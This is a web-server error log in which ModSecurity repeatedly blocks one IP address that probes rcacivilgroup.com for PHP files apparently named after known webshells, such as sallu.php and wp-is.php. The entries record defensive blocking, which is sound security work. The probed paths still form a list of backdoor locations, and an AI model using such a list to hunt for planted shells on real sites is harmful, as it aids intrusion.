[Fri Apr 03 01:35:55.132010 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:63394] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6o-xhR292toNOkLqG3vAAAAJY"]
[Fri Apr 03 01:35:55.748593 2026] [:error] [pid 25010:tid 25358] [client 20.215.208.34:63390] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6o-4_KcjFQF5TuqTWp-AAAAAo"]
[Fri Apr 03 01:35:56.369181 2026] [:error] [pid 25010:tid 25373] [client 20.215.208.34:64932] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6o_I_KcjFQF5TuqTWp_QAAABg"]
[Fri Apr 03 01:35:57.308769 2026] [:error] [pid 25010:tid 25348] [client 20.215.208.34:61905] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6o_Y_KcjFQF5TuqTWqBAAAAAE"]
[Fri Apr 03 01:35:57.939288 2026] [:error] [pid 25470:tid 25478] [client 20.215.208.34:63453] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6o_XhROcck6_9HYyga0gAAAMY"]
[Fri Apr 03 01:35:58.577006 2026] [:error] [pid 25010:tid 25369] [client 20.215.208.34:63440] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6o_o_KcjFQF5TuqTWqEAAAABQ"]
[Fri Apr 03 01:35:59.444282 2026] [:error] [pid 25018:tid 25436] [client 20.215.208.34:61891] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6o_3upR6lXnAUzFGr5JwAAAFc"]
[Fri Apr 03 01:36:00.384712 2026] [:error] [pid 25035:tid 25460] [client 20.215.208.34:61824] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6pABhR292toNOkLqG3yAAAAJI"]
[Fri Apr 03 01:36:00.993728 2026] [:error] [pid 25018:tid 25434] [client 20.215.208.34:64944] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6pAHupR6lXnAUzFGr5LAAAAFU"]
[Fri Apr 03 01:36:01.701941 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:64919] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6pAXhROcck6_9HYyga6wAAANg"]
[Fri Apr 03 01:36:02.808099 2026] [:error] [pid 25018:tid 25418] [client 20.215.208.34:64926] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6pAnupR6lXnAUzFGr5NQAAAEU"]
[Fri Apr 03 01:36:03.419129 2026] [:error] [pid 25035:tid 25445] [client 20.215.208.34:63470] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6pAxhR292toNOkLqG30QAAAIM"]
[Fri Apr 03 01:36:03.940671 2026] [:error] [pid 25035:tid 25446] [client 20.215.208.34:63480] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6pAxhR292toNOkLqG32AAAAIQ"]
[Fri Apr 03 01:36:04.455728 2026] [:error] [pid 25018:tid 25424] [client 20.215.208.34:63424] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6pBHupR6lXnAUzFGr5PAAAAEs"]
[Fri Apr 03 01:36:04.973059 2026] [:error] [pid 25470:tid 25494] [client 20.215.208.34:64927] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6pBHhROcck6_9HYyga_AAAANY"]
[Fri Apr 03 01:36:05.488722 2026] [:error] [pid 25470:tid 25473] [client 20.215.208.34:63405] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6pBXhROcck6_9HYyga_QAAAME"]
[Fri Apr 03 01:36:06.028282 2026] [:error] [pid 25018:tid 25437] [client 20.215.208.34:61892] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6pBnupR6lXnAUzFGr5PgAAAFg"]
[Fri Apr 03 01:36:06.553640 2026] [:error] [pid 25470:tid 25487] [client 20.215.208.34:64980] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6pBnhROcck6_9HYygbAgAAAM8"]
[Fri Apr 03 01:36:07.093278 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:61923] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6pB3hROcck6_9HYygbCQAAANg"]
[Fri Apr 03 01:36:07.774150 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:65006] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6pB3hROcck6_9HYygbDQAAANU"]
[Fri Apr 03 01:36:08.458715 2026] [:error] [pid 25470:tid 25491] [client 20.215.208.34:64903] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6pCHhROcck6_9HYygbEgAAANM"]
[Fri Apr 03 01:36:09.231880 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:64954] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6pCXupR6lXnAUzFGr5QwAAAE4"]
[Fri Apr 03 01:36:09.909570 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:61921] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6pCXhROcck6_9HYygbGQAAAMg"]
[Fri Apr 03 01:36:11.195034 2026] [:error] [pid 25018:tid 25412] [client 20.215.208.34:64936] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6pC3upR6lXnAUzFGr5RwAAAEE"]
[Fri Apr 03 01:36:12.027126 2026] [:error] [pid 25035:tid 25466] [client 20.215.208.34:61842] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6pDBhR292toNOkLqG3-wAAAJg"]
[Fri Apr 03 01:36:14.962643 2026] [:error] [pid 25035:tid 25449] [client 20.215.208.34:61830] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6pDhhR292toNOkLqG4DAAAAIc"]
[Fri Apr 03 01:36:16.622839 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:64918] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6pEHhROcck6_9HYygbKQAAANg"]
[Fri Apr 03 01:36:17.199552 2026] [:error] [pid 25470:tid 25485] [client 20.215.208.34:63397] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6pEXhROcck6_9HYygbKgAAAM0"]
[Fri Apr 03 01:36:17.799660 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:61907] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6pEXhROcck6_9HYygbMAAAAMM"]
[Fri Apr 03 01:36:18.473208 2026] [:error] [pid 25018:tid 25432] [client 20.215.208.34:61844] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6pEnupR6lXnAUzFGr5XgAAAFM"]
[Fri Apr 03 01:36:19.100652 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:64938] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6pE3hROcck6_9HYygbOwAAAMg"]
[Fri Apr 03 01:36:19.632385 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:64921] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6pE3hROcck6_9HYygbPgAAAMI"]
[Fri Apr 03 01:36:20.218612 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:64998] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6pFHhROcck6_9HYygbQwAAANI"]
[Fri Apr 03 01:36:20.738497 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:63487] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6pFHhROcck6_9HYygbRwAAAMM"]
[Fri Apr 03 01:36:21.259925 2026] [:error] [pid 25035:tid 25463] [client 20.215.208.34:63425] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6pFRhR292toNOkLqG4FgAAAJU"]
[Fri Apr 03 01:36:22.028668 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:65017] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6pFnhROcck6_9HYygbUgAAANU"]
[Fri Apr 03 01:36:22.621654 2026] [:error] [pid 25470:tid 25495] [client 20.215.208.34:61836] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6pFnhROcck6_9HYygbVQAAANc"]
[Fri Apr 03 01:36:23.206953 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:64951] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6pF3hROcck6_9HYygbWAAAANI"]
[Fri Apr 03 01:36:23.760793 2026] [:error] [pid 25018:tid 25426] [client 20.215.208.34:63472] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6pF3upR6lXnAUzFGr5ZQAAAE0"]
[Fri Apr 03 01:36:24.302994 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:61880] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6pGI_KcjFQF5TuqTWqRQAAAAk"]
[Fri Apr 03 01:36:24.854882 2026] [:error] [pid 25018:tid 25432] [client 20.215.208.34:63426] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6pGHupR6lXnAUzFGr5aQAAAFM"]
[Fri Apr 03 01:36:25.542511 2026] [:error] [pid 25470:tid 25481] [client 20.215.208.34:63371] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6pGXhROcck6_9HYygbaQAAAMk"]
[Fri Apr 03 01:36:26.070288 2026] [:error] [pid 25010:tid 25359] [client 20.215.208.34:61834] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6pGo_KcjFQF5TuqTWqSwAAAAs"]
[Fri Apr 03 01:36:26.597776 2026] [:error] [pid 25010:tid 25371] [client 20.215.208.34:63446] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6pGo_KcjFQF5TuqTWqTwAAABY"]
[Fri Apr 03 01:36:27.269649 2026] [:error] [pid 25035:tid 25449] [client 20.215.208.34:64985] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6pGxhR292toNOkLqG4HgAAAIc"]
[Fri Apr 03 01:36:27.866852 2026] [:error] [pid 25018:tid 25425] [client 20.215.208.34:60613] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6pG3upR6lXnAUzFGr5bgAAAEw"]
[Fri Apr 03 01:36:28.385410 2026] [:error] [pid 25018:tid 25436] [client 20.215.208.34:63389] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6pHHupR6lXnAUzFGr5bwAAAFc"]
[Fri Apr 03 01:36:28.965002 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:64914] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6pHHhROcck6_9HYygbbwAAAM4"]
[Fri Apr 03 01:36:29.633393 2026] [:error] [pid 25035:tid 25442] [client 20.215.208.34:63469] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6pHRhR292toNOkLqG4JAAAAIA"]
[Fri Apr 03 01:36:30.218772 2026] [:error] [pid 25010:tid 25348] [client 20.215.208.34:63406] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6pHo_KcjFQF5TuqTWqZAAAAAE"]
[Fri Apr 03 01:36:30.751819 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:64969] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6pHo_KcjFQF5TuqTWqbAAAAAk"]
[Fri Apr 03 01:36:31.346282 2026] [:error] [pid 25035:tid 25452] [client 20.215.208.34:64901] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6pHxhR292toNOkLqG4MAAAAIo"]
[Fri Apr 03 01:36:31.974346 2026] [:error] [pid 25018:tid 25422] [client 20.215.208.34:61939] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6pH3upR6lXnAUzFGr5cgAAAEk"]
[Fri Apr 03 01:36:32.501727 2026] [:error] [pid 25035:tid 25466] [client 20.215.208.34:64977] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6pIBhR292toNOkLqG4OQAAAJg"]
[Fri Apr 03 01:36:33.025767 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:63416] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6pIXupR6lXnAUzFGr5dQAAAE8"]
[Fri Apr 03 01:36:33.540473 2026] [:error] [pid 25018:tid 25437] [client 20.215.208.34:63481] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6pIXupR6lXnAUzFGr5egAAAFg"]
